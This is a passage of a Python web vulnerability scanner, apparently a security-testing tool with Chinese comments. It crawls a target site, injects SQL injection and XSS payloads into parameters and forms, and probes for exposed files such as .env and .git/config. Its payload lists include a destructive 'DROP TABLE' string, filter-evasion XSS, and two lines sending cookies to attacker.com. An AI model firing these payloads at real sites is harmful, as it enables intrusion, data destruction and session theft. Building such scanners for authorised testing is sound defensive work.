            "' UNION SELECT user(),version(),database() --",
            "' UNION ALL SELECT table_name,column_name,NULL FROM information_schema.columns WHERE table_schema=database() --"
        ],
        'time_based': [
            "' AND (SELECT 1 FROM (SELECT SLEEP(3))a) --",
            "' OR pg_sleep(3) --",
            "' OR DBMS_LOCK.SLEEP(3) --",  # Oracle
            "1 OR DBMS_PIPE.RECEIVE_MESSAGE('x',3) > 0 --"  # Oracle
        ],
        'stacked_queries': [
            "; SELECT 1 --",
            "; DROP TABLE test --",
            "; EXEC sp_who --",  # MSSQL
            "; SELECT pg_sleep(1) --"  # PostgreSQL
        ]
    }
    
    # SQL数据库指纹识别标志
    db_fingerprints = {
        'mysql': ['mysql', 'mariadb', 'percona'],
        'mssql': ['microsoft sql', 'mssql', 'transact-sql'],
        'postgresql': ['postgresql', 'postgres'],
        'oracle': ['oracle', 'pl/sql', 'ora-'],
        'sqlite': ['sqlite', 'sqlite3']
    }
    
    # 数据库类型识别缓存
    detected_db = None
    
    # 优化的URL参数处理函数
    def process_url_params(url):
        if '?' not in url:
            return []
        
        parsed = urllib.parse.urlparse(url)
        params = urllib.parse.parse_qs(parsed.query)
        return [(k, v[0] if v else '') for k, v in params.items()]
    
    # 智能参数重要性评分函数
    def score_parameter_importance(param_name):
        # 基于参数名称的重要性评分
        high_risk_params = ['id', 'user', 'admin', 'login', 'pass', 'password', 'query', 'search', 'cmd', 'exec']
        medium_risk_params = ['name', 'email', 'phone', 'action', 'page', 'cat', 'category', 'view']
        
        param_lower = param_name.lower()
        
        # 检查是否包含高风险关键词
        for risk_param in high_risk_params:
            if risk_param in param_lower:
                return 1.0
        
        # 检查是否包含中等风险关键词
        for risk_param in medium_risk_params:
            if risk_param in param_lower:
                return 0.7
        
        return 0.5  # 默认中等重要性
    
    # 针对数据库类型优化的载荷选择
    def get_optimized_payloads(db_type=None):
        if not db_type:
            # 如果没有检测到数据库类型，返回所有类型的载荷
            all_payloads = []
            for payload_list in sql_payloads.values():
                all_payloads.extend(payload_list)
            return all_payloads
        
        # 针对特定数据库类型的优化载荷
        optimized_payloads = []
        
        # 基本载荷适用于所有数据库
        optimized_payloads.extend(sql_payloads['boolean_blind'])
        optimized_payloads.extend(sql_payloads['union_based'])
        
        # 数据库特定载荷
        if db_type.lower() == 'mysql':
            optimized_payloads.extend([
                "' AND BENCHMARK(1000000, MD5('test')) --",
                "' OR (SELECT 1 FROM (SELECT SLEEP(2))a) --",
                "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user()),0x3a,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --"
            ])
        elif db_type.lower() == 'postgresql':
            optimized_payloads.extend([
                "' OR pg_sleep(2) --",
                "' OR (SELECT version()) --",
                "' UNION SELECT current_database(), version(), user() --"
            ])
        elif db_type.lower() == 'mssql':
            optimized_payloads.extend([
                "' AND 1=CONVERT(int, (SELECT @@version)) --",
                "'; WAITFOR DELAY '0:0:2' --",
                "' UNION SELECT @@VERSION, USER_NAME(), SYSTEM_USER --"
            ])
        elif db_type.lower() == 'oracle':
            optimized_payloads.extend([
                "' OR 1=UTL_INADDR.get_host_name((SELECT user FROM dual)) --",
                "' OR DBMS_LOCK.SLEEP(2) --",
                "' UNION SELECT user, banner FROM v$version --"
            ])
        
        return optimized_payloads
    
    # 智能响应分析
    def analyze_sql_response(response, original_response, payload, test_type):
        if not response or not original_response:
            return None
        
        # 基本SQL错误检测
        sql_matches = detect_sql_injection(response.text)
        if sql_matches:
            return {
                'type': 'error',
                'evidence': f"SQL错误: {', '.join(sql_matches)}",
                'confidence': 0.95
            }
        
        # 布尔盲注检测 - 比较响应差异
        if test_type == 'boolean_blind':
            original_len = len(original_response.text)
            test_len = len(response.text)
            
            # 响应长度差异检测
            if abs(original_len - test_len) > max(50, original_len * 0.1):
                return {
                    'type': 'boolean_blind',
                    'evidence': f"布尔盲注: 响应长度差异 {abs(original_len - test_len)} 字节",
                    'confidence': 0.75
                }
            
            # 响应内容差异检测
            if original_response.text != response.text:
                # 检查特定模式
                if any(keyword in response.text.lower() for keyword in ['mysql', 'postgresql', 'oracle', 'mssql']):
                    return {
                        'type': 'boolean_blind',
                        'evidence': "布尔盲注: 响应内容差异包含数据库信息",
                        'confidence': 0.85
                    }
        
        # 时间盲注检测
        if test_type == 'time_based':
            # 这里应该结合请求时间分析
            # 由于当前没有请求时间信息，我们只能检查响应内容
            if any(keyword in response.text.lower() for keyword in ['timeout', 'timed out', 'server busy']):
                return {
                    'type': 'time_based',
                    'evidence': "时间盲注: 响应包含超时相关信息",
                    'confidence': 0.7
                }
        
        # UNION注入检测
        if test_type == 'union_based' and 'union' in payload.lower():
            # 检查响应中是否有我们注入的NULL或其他标记
            if any(token in response.text for token in ['NULL', 'null', 'None', 'none']):
                return {
                    'type': 'union_based',
                    'evidence': "UNION注入: 响应中包含注入的NULL值",
                    'confidence': 0.8
                }
        
        return None
    
    # 扫描指定深度的链接
    for depth in range(scan_depth):
        if not urls_to_scan:
            break
        
        next_depth_urls = []
        
        # 对当前深度的URL进行批量处理
        while urls_to_scan:
            current_url = urls_to_scan.pop(0)
            if current_url in scanned_urls:
                continue
            
            scanned_urls.add(current_url)
            logger.debug(f"SQL注入扫描 (深度{depth+1}): {current_url}")
            
            # 1. 数据库类型指纹识别
            if not detected_db:
                try:
                    # 发送一个基本请求进行指纹识别
                    response = make_request(current_url, timeout=10)
                    if response:
                        content_lower = response.text.lower()
                        for db_type, fingerprints in db_fingerprints.items():
                            for fingerprint in fingerprints:
                                if fingerprint in content_lower:
                                    detected_db = db_type
                                    logger.info(f"数据库类型识别: {detected_db} 在 {current_url}")
                                    break
                            if detected_db:
                                break
                except Exception as e:
                    logger.debug(f"数据库指纹识别失败: {str(e)}")
            
            # 获取优化的载荷列表
            optimized_payloads = get_optimized_payloads(detected_db)
            
            # 2. 检查URL参数
            params = process_url_params(current_url)
            if params:
                base_url = current_url.split('?')[0]
                
                # 对参数按重要性排序
                params_with_score = [(p[0], p[1], score_parameter_importance(p[0])) for p in params]
                params_with_score.sort(key=lambda x: x[2], reverse=True)
                
                # 获取原始响应作为基准
                try:
                    original_response = make_request(current_url)
                except Exception as e:
                    logger.debug(f"获取原始响应失败: {str(e)}")
                    original_response = None
                
                # 只测试重要性较高的参数
                important_params = [p for p in params_with_score if p[2] >= 0.5]
                
                for param_name, _, _ in important_params[:5]:  # 限制测试的参数数量
                    for payload_type, payloads in sql_payloads.items():
                        for payload in payloads:
                            # 构建测试URL
                            test_params = {}
                            for p_name, p_value, _ in params_with_score:
                                test_params[p_name] = payload if p_name == param_name else p_value
                            
                            # URL编码参数
                            encoded_params = urllib.parse.urlencode(test_params)
                            test_url = f"{base_url}?{encoded_params}"
                            
                            try:
                                # 发送测试请求
                                response = make_request(test_url, timeout=10)
                                
                                # 分析响应
                                result = analyze_sql_response(response, original_response, payload, payload_type)
                                if result:
                                    vuln = {
                                        'vuln_id': generate_vulnerability_id('sql_injection'),
                                        'vuln_type': 'sql_injection',
                                        'path': current_url,
                                        'parameter': param_name,
                                        'payload': payload,
                                        'attack_type': result['type'],
                                        'evidence': result['evidence'],
                                        'confidence': result['confidence'],
                                        'raw_score': min(result['confidence'] + 0.1, 1.0)  # 略微提高原始分数
                                    }
                                    vulnerabilities.append(vuln)
                                    logger.info(f"发现SQL注入漏洞 ({result['type']}): {current_url}, 参数: {param_name}, 载荷: {payload[:30]}...")
                                    
                                    # 对高置信度的漏洞，不再测试该参数的其他载荷
                                    if result['confidence'] > 0.8:
                                        break
                            except Exception as e:
                                logger.debug(f"SQL注入测试失败 ({payload_type}): {str(e)}")
                        
                        # 如果找到高置信度漏洞，跳出当前载荷类型循环
                        if vulnerabilities and vulnerabilities[-1].get('confidence', 0) > 0.8:
                            break
            
            # 3. 检查表单 - 增强版本
            try:
                response = make_request(current_url, timeout=10)
                if response and response.status_code == 200:
                    # 提取页面中的链接，用于深度扫描
                    if len(scanned_urls) + len(next_depth_urls) < 100 * scan_depth:  # 增加扫描数量限制
                        links = extract_links(response.text, current_url)
                        for link in links:
                            norm_link = normalize_url(link)
                            if norm_link not in scanned_urls and norm_link not in urls_to_scan and norm_link not in next_depth_urls:
                                # 根据URL模式设置优先级
                                priority = 10
                                if any(keyword in norm_link for keyword in ['login', 'admin', 'user', 'api', 'auth']):
                                    priority = 20  # 高优先级页面
                                elif any(keyword in norm_link for keyword in ['search', 'filter', 'query']):
                                    priority = 15  # 中等优先级页面
                                
                                # 使用优先级队列的逻辑（这里简化为普通列表）
                                next_depth_urls.append((priority, norm_link))
                    
                    # 提取页面中的表单并测试
                    forms = extract_form_data(response.text)
                    for form in forms:
                        action_url = form['action'] if form['action'].startswith(('http://', 'https://')) else \
                                    f"{target_url.rstrip('/')}/{form['action'].lstrip('/')}"
                        
                        # 只测试包含输入字段的表单
                        input_fields = [f for f in form['inputs'] if f['type'] in ['text', 'search', 'email', 'tel', 'number', 'textarea', 'password']]
                        if not input_fields:
                            continue
                        
                        # 对表单字段按重要性排序
                        fields_with_score = []
                        for field in input_fields:
                            field_score = score_parameter_importance(field['name'])
                            # 密码字段特别重要
                            if field['type'] == 'password':
                                field_score = 1.0
                            fields_with_score.append((field, field_score))
                        
                        fields_with_score.sort(key=lambda x: x[1], reverse=True)
                        
                        # 只测试重要的字段
                        important_fields = [f[0] for f in fields_with_score if f[1] >= 0.5]
                        
                        for field in important_fields[:3]:  # 限制每个表单测试的字段数
                            # 对每个重要字段尝试不同类型的SQL注入载荷
                            for payload_type, payloads in sql_payloads.items():
                                for payload in payloads:
                                    # 准备表单数据
                                    form_data = {}
                                    for f in form['inputs']:
                                        if f['name'] == field['name']:
                                            form_data[f['name']] = payload
                                        else:
                                            # 根据字段类型设置适当的默认值
                                            if f['type'] == 'password':
                                                form_data[f['name']] = 'password123'
                                            elif f['type'] in ['checkbox', 'radio']:
                                                form_data[f['name']] = f.get('value', '1')
                                            elif f.get('required', False):
                                                form_data[f['name']] = 'test'
                                            elif f['name']:
                                                form_data[f['name']] = f.get('value', '')
                                    
                                    try:
                                        # 发送表单请求
                                        if form['method'].upper() == 'POST':
                                            test_response = make_request(action_url, method='POST', data=form_data, timeout=10)
                                        else:
                                            # GET请求，构建URL
                                            encoded_params = urllib.parse.urlencode(form_data)
                                            test_url = f"{action_url}?{encoded_params}"
                                            test_response = make_request(test_url, timeout=10)
                                        
                                        # 分析响应
                                        sql_matches = detect_sql_injection(test_response.text)
                                        if sql_matches:
                                            vuln = {
                                                'vuln_id': generate_vulnerability_id('sql_injection'),
                                                'vuln_type': 'sql_injection',
                                                'path': action_url,
                                                'form_field': field['name'],
                                                'payload': payload,
                                                'attack_type': payload_type,
                                                'evidence': f"表单SQL注入: {', '.join(sql_matches)}",
                                                'raw_score': 0.95
                                            }
                                            vulnerabilities.append(vuln)
                                            logger.info(f"发现表单SQL注入漏洞 ({payload_type}): {action_url}, 字段: {field['name']}")
                                            break  # 找到漏洞后不再测试该字段的其他载荷
                                    except Exception as e:
                                        logger.debug(f"表单SQL注入测试失败: {str(e)}")
                                
                                # 如果找到漏洞，跳出当前载荷类型循环
                                if vulnerabilities and 'form_field' in vulnerabilities[-1]:
                                    break
            except Exception as e:
                logger.debug(f"表单处理失败: {str(e)}")
        
        # 对下一层的URL按优先级排序
        if next_depth_urls:
            next_depth_urls.sort(key=lambda x: x[0], reverse=True)  # 优先级高的排在前面
            urls_to_scan = [url for _, url in next_depth_urls[:50]]  # 限制每层的URL数量
    
    # 去重相同的漏洞
    unique_vulns = {}
    for vuln in vulnerabilities:
        key = f"{vuln['path']}_{vuln.get('parameter', '')}_{vuln.get('form_field', '')}"
        if key not in unique_vulns or vuln.get('confidence', 0) > unique_vulns[key].get('confidence', 0):
            unique_vulns[key] = vuln
    
    return list(unique_vulns.values())

def scan_xss(target_url, scan_depth):
    """执行XSS漏洞扫描 - 增强版"""
    import urllib.parse
    from app.utils.http_utils import make_request, extract_links, normalize_url
    from app.utils.security_tools import detect_xss, generate_vulnerability_id, extract_form_data
    
    vulnerabilities = []
    scanned_urls = set()
    urls_to_scan = [normalize_url(target_url)]
    
    # 高级XSS测试载荷库 - 分类和优先级
    xss_payloads = {
        'reflected': [
            # 基本反射型XSS
            "<script>alert('XSS')</script>",
            "<img src=x onerror=alert('XSS')>",
            "<svg onload=alert('XSS')>",
            "javascript:alert('XSS')",
            "<body onload=alert('XSS')>",
        ],
        'stored': [
            # 存储型XSS测试载荷
            "<script>localStorage.setItem('xss_test', 'found')</script>",
            "<img src='x' onerror=\"console.log('XSS_TEST')\">",
        ],
        'dom_based': [
            # DOM型XSS测试载荷
            "'--></script><script>alert('XSS')</script>",
            "'><img/src=x/onerror=alert('XSS')>",
        ],
        'evasion': [
            # 绕过过滤的XSS载荷
            "<ScRiPt>alert('XSS')</ScRiPt>",  # 大小写混合
            "<script>\u0061lert('XSS')</script>",  # Unicode编码
            "<script>/*comment*/alert('XSS')</script>",  # 注释混淆
            "<script src='data:text/javascript;base64,YWxlcnQoIlhTUyIpOw=='</script>",  # Base64编码
            "<img src=x onerror=eval(\'aler\x74(\'XSS\')\')>",  # 十六进制编码
            "<iframe src='data:text/html,<script>alert(\'XSS\')</script>'</iframe>",  # 数据URI
            "<svg/onload=alert('XSS')>",  # 无空格变体
            "<a href='javascript:alert(\'XSS\')'>X</a>",  # 链接JavaScript
        ],
        'advanced': [
            # 高级XSS载荷
            "<svg/onload=Function('al'+'ert(\'XSS\')')()>",  # 字符串拼接
            "<img src=x onerror=setTimeout('alert(\'XSS\')',0)",  # 定时器
            "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>",  # 数据窃取演示
            "<body onload=document.location='https://attacker.com/?cookie='+document.cookie>",  # 重定向演示
        ]
    }
    
    # 浏览器DOM事件列表
    dom_events = [
        'onload', 'onerror', 'onclick', 'onmouseover', 'onfocus', 'onblur',
        'oninput', 'onchange', 'onsubmit', 'onkeydown', 'onkeyup', 'onpaste'
    ]
    
    # HTML标签列表，可能导致XSS
    xss_tags = [
        'script', 'img', 'iframe', 'object', 'embed', 'link', 'body',
        'div', 'span', 'a', 'svg', 'form', 'input', 'button'
    ]
    
    # 智能参数重要性评分函数
    def score_parameter_importance(param_name):
        high_risk_params = ['q', 'search', 'query', 'term', 'keyword', 'page', 'name', 'title', 'body', 'content', 'message']
        param_lower = param_name.lower()
        
        for risk_param in high_risk_params:
            if risk_param == param_lower:
                return 1.0
        
        return 0.7
    
    # 高级XSS检测函数
    def advanced_xss_detection(response_text, payload):
        # 基础检测 - 原始载荷是否出现在响应中
        if payload in response_text:
            return {'detected': True, 'method': 'raw_payload', 'confidence': 0.8}
        
        # 检查URL编码后的载荷
        url_encoded = urllib.parse.quote(payload)
        if url_encoded in response_text:
            return {'detected': True, 'method': 'url_encoded', 'confidence': 0.7}
        
        # 检查HTML实体编码后的载荷
        html_encoded_patterns = [
            payload.replace('<', '&lt;'),
            payload.replace('>', '&gt;'),
            payload.replace('"', '&quot;'),
            payload.replace("'", '&#39;')
        ]
        for pattern in html_encoded_patterns:
            if pattern in response_text:
                return {'detected': True, 'method': 'html_encoded', 'confidence': 0.6}
        
        # 检查JavaScript事件是否存在
        for event in dom_events:
            if event in response_text and any(tag in response_text for tag in xss_tags):
                return {'detected': True, 'method': 'event_detection', 'confidence': 0.75}
        
        # 检查特定的XSS特征字符串
        xss_signatures = ['script', 'javascript:', 'onerror', 'onload', 'alert(']
        for signature in xss_signatures:
            if signature in response_text and any(tag in response_text.lower() for tag in ['<img', '<svg', '<iframe']):
                return {'detected': True, 'method': 'signature', 'confidence': 0.7}
        
        return {'detected': False}
    
    # 优化的URL参数处理函数
    def process_url_params(url):
        if '?' not in url:
            return []
        
        parsed = urllib.parse.urlparse(url)
        params = urllib.parse.parse_qs(parsed.query)
        return [(k, v[0] if v else '') for k, v in params.items()]
    
    # 扫描指定深度的链接
    for depth in range(scan_depth):
        if not urls_to_scan:
            break
        
        next_depth_urls = []
        
        # 对当前深度的URL进行批量处理
        while urls_to_scan:
            current_url = urls_to_scan.pop(0)
            if current_url in scanned_urls:
                continue
            
            scanned_urls.add(current_url)
            logger.debug(f"XSS扫描 (深度{depth+1}): {current_url}")
            
            # 1. 检查URL参数 - 增强版
            params = process_url_params(current_url)
            if params:
                base_url = current_url.split('?')[0]
                
                # 对参数按重要性排序
                params_with_score = [(p[0], p[1], score_parameter_importance(p[0])) for p in params]
                params_with_score.sort(key=lambda x: x[2], reverse=True)
                
                # 只测试重要性较高的参数
                important_params = [p for p in params_with_score if p[2] >= 0.7]
                
                # 为不同类型的参数选择合适的载荷
                for param_name, _, _ in important_params[:3]:  # 限制测试的参数数量
                    # 先测试基本反射型载荷
                    for payload in xss_payloads['reflected']:
                        # 构建测试URL
                        test_params = {}
                        for p_name, p_value, _ in params_with_score:
                            test_params[p_name] = payload if p_name == param_name else p_value
                        
                        # URL编码参数
                        encoded_params = urllib.parse.urlencode(test_params)
                        test_url = f"{base_url}?{encoded_params}"
                        
                        try:
                            # 发送测试请求
                            response = make_request(test_url, timeout=10)
                            if response:
                                # 使用高级检测
                                detection = advanced_xss_detection(response.text, payload)
                                if detection['detected']:
                                    vuln = {
                                        'vuln_id': generate_vulnerability_id('xss'),
                                        'vuln_type': 'xss',
                                        'path': current_url,
                                        'parameter': param_name,
                                        'payload': payload,
                                        'xss_type': 'reflected',
                                        'detection_method': detection['method'],
                                        'evidence': f"XSS检测: {detection['method']}, 置信度: {detection['confidence']}",
                                        'raw_score': detection['confidence']
                                    }
                                    vulnerabilities.append(vuln)
                                    logger.info(f"发现XSS漏洞 (反射型): {current_url}, 参数: {param_name}, 检测方法: {detection['method']}")
                                    
                                    # 如果发现漏洞，尝试更高级的绕过载荷
                                    for evasion_payload in xss_payloads['evasion']:
                                        test_params[param_name] = evasion_payload
                                        encoded_params = urllib.parse.urlencode(test_params)
                                        evasion_url = f"{base_url}?{encoded_params}"
                                        
                                        evasion_response = make_request(evasion_url, timeout=10)
                                        if evasion_response:
                                            evasion_detection = advanced_xss_detection(evasion_response.text, evasion_payload)
                                            if evasion_detection['detected'] and evasion_detection['confidence'] > detection['confidence']:
                                                vuln = {
                                                    'vuln_id': generate_vulnerability_id('xss'),
                                                    'vuln_type': 'xss',
                                                    'path': current_url,
                                                    'parameter': param_name,
                                                    'payload': evasion_payload,
                                                    'xss_type': 'reflected_evasion',
                                                    'detection_method': evasion_detection['method'],
                                                    'evidence': f"XSS绕过检测: {evasion_detection['method']}, 置信度: {evasion_detection['confidence']}",
                                                    'raw_score': evasion_detection['confidence']
                                                }
                                                vulnerabilities.append(vuln)
                                                logger.info(f"发现XSS漏洞 (绕过过滤): {current_url}, 参数: {param_name}")
                                    break
                        except Exception as e:
                            logger.debug(f"XSS测试失败: {str(e)}")
            
            # 2. 检查表单 - 增强版
            try:
                response = make_request(current_url, timeout=10)
                if response and response.status_code == 200:
                    # 提取页面中的链接，用于深度扫描
                    if len(scanned_urls) + len(next_depth_urls) < 100 * scan_depth:  # 增加扫描数量限制
                        links = extract_links(response.text, current_url)
                        for link in links:
                            norm_link = normalize_url(link)
                            if norm_link not in scanned_urls and norm_link not in urls_to_scan and norm_link not in next_depth_urls:
                                # 根据URL模式设置优先级
                                priority = 10
                                if any(keyword in norm_link for keyword in ['search', 'comment', 'post', 'feedback', 'profile']):
                                    priority = 20  # 高优先级页面（可能存在XSS）
                                
                                next_depth_urls.append((priority, norm_link))
                    
                    # 提取页面中的表单并测试
                    forms = extract_form_data(response.text)
                    for form in forms:
                        action_url = form['action'] if form['action'].startswith(('http://', 'https://')) else \
                                    f"{target_url.rstrip('/')}/{form['action'].lstrip('/')}"
                        
                        # 识别可能存储数据的表单（评论、搜索、个人资料等）
                        is_storage_form = False
                        form_action = action_url.lower()
                        if any(keyword in form_action for keyword in ['comment', 'post', 'feedback', 'profile', 'submit', 'save', 'update']):
                            is_storage_form = True
                        
                        # 只测试包含文本输入的表单
                        text_inputs = [f for f in form['inputs'] if f['type'] in ['text', 'search', 'email', 'tel', 'textarea']]
                        if not text_inputs:
                            continue
                        
                        # 对输入字段按重要性排序
                        fields_with_score = []
                        for field in text_inputs:
                            field_score = score_parameter_importance(field['name'])
                            # 内容类字段特别重要
                            if any(kw in field['name'].lower() for kw in ['content', 'message', 'body', 'comment', 'description']):
                                field_score = 1.0
                            fields_with_score.append((field, field_score))
                        
                        fields_with_score.sort(key=lambda x: x[1], reverse=True)
                        important_fields = [f[0] for f in fields_with_score if f[1] >= 0.7]
                        
                        for field in important_fields[:2]:  # 限制每个表单测试的字段数
                            # 选择合适的载荷类型
                            payload_types = ['reflected']
                            if is_storage_form:
                                payload_types.append('stored')  # 对于可能存储数据的表单，添加存储型XSS测试
                            
                            for payload_type in payload_types:
                                for payload in xss_payloads[payload_type]:
                                    # 准备表单数据
                                    form_data = {}
                                    for f in form['inputs']:
                                        if f['name'] == field['name']:
                                            form_data[f['name']] = payload
                                        else:
                                            # 根据字段类型设置适当的默认值
                                            if f['type'] in ['checkbox', 'radio']:
                                                form_data[f['name']] = f.get('value', '1')
                                            elif f.get('required', False):
                                                form_data[f['name']] = 'test'
                                            elif f['name']:
                                                form_data[f['name']] = f.get('value', '')
                                    
                                    try:
                                        # 发送表单请求
                                        if form['method'].upper() == 'POST':
                                            test_response = make_request(action_url, method='POST', data=form_data, timeout=10)
                                        else:
                                            # GET请求，构建URL
                                            encoded_params = urllib.parse.urlencode(form_data)
                                            test_url = f"{action_url}?{encoded_params}"
                                            test_response = make_request(test_url, timeout=10)
                                        
                                        # 使用高级检测
                                        if test_response:
                                            detection = advanced_xss_detection(test_response.text, payload)
                                            if detection['detected']:
                                                vuln = {
                                                    'vuln_id': generate_vulnerability_id('xss'),
                                                    'vuln_type': 'xss',
                                                    'path': action_url,
                                                    'form_field': field['name'],
                                                    'payload': payload,
                                                    'xss_type': payload_type,
                                                    'detection_method': detection['method'],
                                                    'evidence': f"表单XSS检测: {detection['method']}, 置信度: {detection['confidence']}",
                                                    'raw_score': min(detection['confidence'] + 0.1, 1.0)  # 表单XSS风险稍高
                                                }
                                                vulnerabilities.append(vuln)
                                                logger.info(f"发现表单XSS漏洞 ({payload_type}): {action_url}, 字段: {field['name']}")
                                                
                                                # 对表单XSS也尝试绕过载荷
                                                for evasion_payload in xss_payloads['evasion']:
                                                    form_data[field['name']] = evasion_payload
                                                    if form['method'].upper() == 'POST':
                                                        evasion_response = make_request(action_url, method='POST', data=form_data, timeout=10)
                                                    else:
                                                        encoded_params = urllib.parse.urlencode(form_data)
                                                        evasion_url = f"{action_url}?{encoded_params}"
                                                        evasion_response = make_request(evasion_url, timeout=10)
                                                    
                                                    if evasion_response:
                                                        evasion_detection = advanced_xss_detection(evasion_response.text, evasion_payload)
                                                        if evasion_detection['detected']:
                                                            vuln = {
                                                                'vuln_id': generate_vulnerability_id('xss'),
                                                                'vuln_type': 'xss',
                                                                'path': action_url,
                                                                'form_field': field['name'],
                                                                'payload': evasion_payload,
                                                                'xss_type': f'{payload_type}_evasion',
                                                                'detection_method': evasion_detection['method'],
                                                                'evidence': f"表单XSS绕过检测: {evasion_detection['method']}",
                                                                'raw_score': evasion_detection['confidence']
                                                            }
                                                            vulnerabilities.append(vuln)
                                                            logger.info(f"发现表单XSS漏洞 (绕过过滤): {action_url}, 字段: {field['name']}")
                                                break
                                    except Exception as e:
                                        logger.debug(f"表单XSS测试失败: {str(e)}")
            except Exception as e:
                logger.debug(f"表单处理失败: {str(e)}")
        
        # 对下一层的URL按优先级排序
        if next_depth_urls:
            next_depth_urls.sort(key=lambda x: x[0], reverse=True)
            urls_to_scan = [url for _, url in next_depth_urls[:50]]  # 限制每层的URL数量
    
    # 去重相同的漏洞
    unique_vulns = {}
    for vuln in vulnerabilities:
        key = f"{vuln['path']}_{vuln.get('parameter', '')}_{vuln.get('form_field', '')}"
        if key not in unique_vulns or vuln.get('raw_score', 0) > unique_vulns[key].get('raw_score', 0):
            unique_vulns[key] = vuln
    
    return list(unique_vulns.values())

def scan_info_leak(target_url):
    """执行信息泄露漏洞扫描 - 增强版"""
    import os
    import concurrent.futures
    from app.utils.http_utils import make_request, normalize_url
    from app.utils.security_tools import check_sensitive_files, generate_vulnerability_id
    
    vulnerabilities = []
    normalized_url = normalize_url(target_url)
    
    # 敏感文件扫描器配置
    info_leak_config = {
        'file_categories': {
            # 高风险敏感文件
            'high_risk': {
                'files': [
                    '.env', '.env.local', '.env.development', '.env.production',
                    'config.php', 'wp-config.php', 'settings.py', 'database.yml',
                    '.git/config', '.svn/entries', '.hg/requires',
                    'backup.zip', 'backup.tar.gz', 'backup.sql',
                    'admin.php', 'login.php', 'wp-login.php',
                    'phpinfo.php', 'info.php', 'test.php',
                    'server-status', 'status', 'health',
                    '/.well-known/security.txt', '/.well-known/sitemap.xml',
                    'robots.txt', 'crossdomain.xml', 'clientaccesspolicy.xml',
                    '.htaccess', '.htpasswd', '.user.ini',
                    'web.config', 'nginx.conf', 'apache.conf'
                ],
                'score': 0.9
            },
            # 中等风险敏感文件
            'medium_risk': {
                'files': [
                    'README.md', 'README.txt', 'README',
                    'LICENSE', 'COPYING', 'CHANGELOG.md',
                    'package.json', 'composer.json', 'requirements.txt',
                    'node_modules/', 'vendor/', 'bower_components/',
                    'logs/', 'log/', 'error.log', 'access.log',
                    'cache/', 'temp/', 'tmp/',
                    'uploads/', 'downloads/', 'files/',
                    'sitemap.xml', 'sitemap_index.xml',
                    'humans.txt', '.gitignore', '.editorconfig',
                    '.dockerignore', 'docker-compose.yml', 'Dockerfile'
                ],
                'score': 0.6
            },
            # 低风险信息泄露
            'low_risk': {
                'files': [
                    'index.html', 'index.htm', 'default.html',
                    'favicon.ico', 'apple-touch-icon.png',
                    'manifest.json', 'browserconfig.xml',
                    '404.html', '500.html', 'maintenance.html'
                ],
                'score': 0.3
            }
        },
        # 目录列表检测路径
        'directory_listing_paths': [
            'images/', 'img/', 'photos/', 'pictures/',
            'files/', 'docs/', 'documents/', 'downloads/',
            'uploads/', 'media/', 'videos/', 'audio/',
            'css/', 'js/', 'scripts/', 'styles/',
            'temp/', 'tmp/', 'cache/', 'backup/',
            'old/', 'archive/', 'legacy/', 'test/'
        ],
        # 备份文件模式
        'backup_patterns': [
            '.bak', '.old', '.backup', '-backup', '_backup',
            '.save', '.swp', '~', '.copy', '-copy', '_copy',
            '.orig', '-orig', '_orig', '.1', '.2', '.3'
        ]
    }
    
    # 并发文件检查函数
    def check_file_concurrently(base_url, file_path, category, score):
        try:
            # 构建完整URL
            test_url = f"{base_url.rstrip('/')}/{file_path.lstrip('/')}"
            
            # 发送请求
            response = make_request(test_url, timeout=5, allow_redirects=True)
            
            if response:
                # 检查是否成功访问
                if 200 <= response.status_code < 300:
                    # 分析文件内容以提高准确性
                    content_length = len(response.content)
                    content_type = response.headers.get('Content-Type', '')
                    
                    # 构建漏洞信息
                    vuln_info = {
                        'vuln_id': generate_vulnerability_id('info_leak'),
                        'vuln_type': 'info_leak',
                        'path': test_url,
                        'category': category,
                        'content_length': content_length,
                        'content_type': content_type,
                        'evidence': f"敏感文件可访问 (状态码: {response.status_code}, 大小: {content_length} 字节)",
                        'raw_score': score
                    }
                    
                    # 根据文件类型和内容进一步调整风险评分
                    if category == 'high_risk' and any(sensitive in file_path.lower() for sensitive in ['config', '.env', 'database', 'wp-config']):
                        vuln_info['raw_score'] = min(score + 0.1, 1.0)
                        vuln_info['evidence'] += " - 包含潜在敏感配置信息"
                    
                    logger.info(f"发现敏感文件 [{category}]: {test_url}, 大小: {content_length} 字节")
                    return vuln_info
                # 检查301/302重定向
                elif response.status_code in [301, 302]:
                    location = response.headers.get('Location', '')
                    if location and (location.startswith('/') or normalized_url in location):
                        # 重定向到同站点，递归检查
                        redirect_vuln = check_file_concurrently(base_url, location.lstrip('/'), category, score * 0.8)
                        if redirect_vuln:
                            redirect_vuln['evidence'] += f" (通过重定向发现: {response.status_code} -> {location})"
                            return redirect_vuln
        except Exception as e:
            logger.debug(f"检查文件失败 {file_path}: {str(e)}")
        return None
    
    # 目录列表检测函数
    def check_directory_listing(base_url, dir_path):
        try:
            test_url = f"{base_url.rstrip('/')}/{dir_path}"
            # 确保URL以/结尾，有些服务器需要这样才会显示目录列表
            if not test_url.endswith('/'):
                test_url += '/'
            
            response = make_request(test_url, timeout=5)
            if response and response.status_code == 200:
                # 检测目录列表的常见特征
                content_lower = response.text.lower()
                
                # 检查是否包含目录列表的典型HTML结构
                if any(pattern in content_lower for pattern in [
                    '<title>index of', 'directory listing for', 'list of files',
                    '<table', '<tbody', '<tr', '<th>name</th>', '<th>size</th>',
                    '[parent directory]', 'parent folder', '../',
                    'last modified', 'content-type', 'bytes'
                ]):
                    # 提取目录中的文件数量（粗略估计）
                    file_count = max(
                        content_lower.count('<a href='),
                        content_lower.count('<a href="'),
                        content_lower.count("<a href='")
                    ) - 2  # 减去可能的父目录链接
                    
                    vuln = {
                        'vuln_id': generate_vulnerability_id('info_leak'),
                        'vuln_type': 'directory_listing',
                        'path': test_url,
                        'category': 'medium_risk',
                        'file_count_estimate': max(0, file_count),
                        'evidence': f"发现目录列表可访问，估计包含 {max(0, file_count)} 个文件",
                        'raw_score': 0.7
                    }
                    logger.info(f"发现目录列表: {test_url}, 估计文件数: {max(0, file_count)}")
                    return vuln
        except Exception as e:
            logger.debug(f"检查目录列表失败 {dir_path}: {str(e)}")
        return None
    
    # 备份文件猜测函数
    def guess_backup_files(base_url):
        # 从基础URL中提取可能的文件名
        path_parts = base_url.split('/')
        potential_filenames = []
        
        # 尝试主页面的备份
        for part in path_parts:
            if part and '.' in part:
                name_without_ext = part.rsplit('.', 1)[0]
                extension = part.rsplit('.', 1)[1]
                
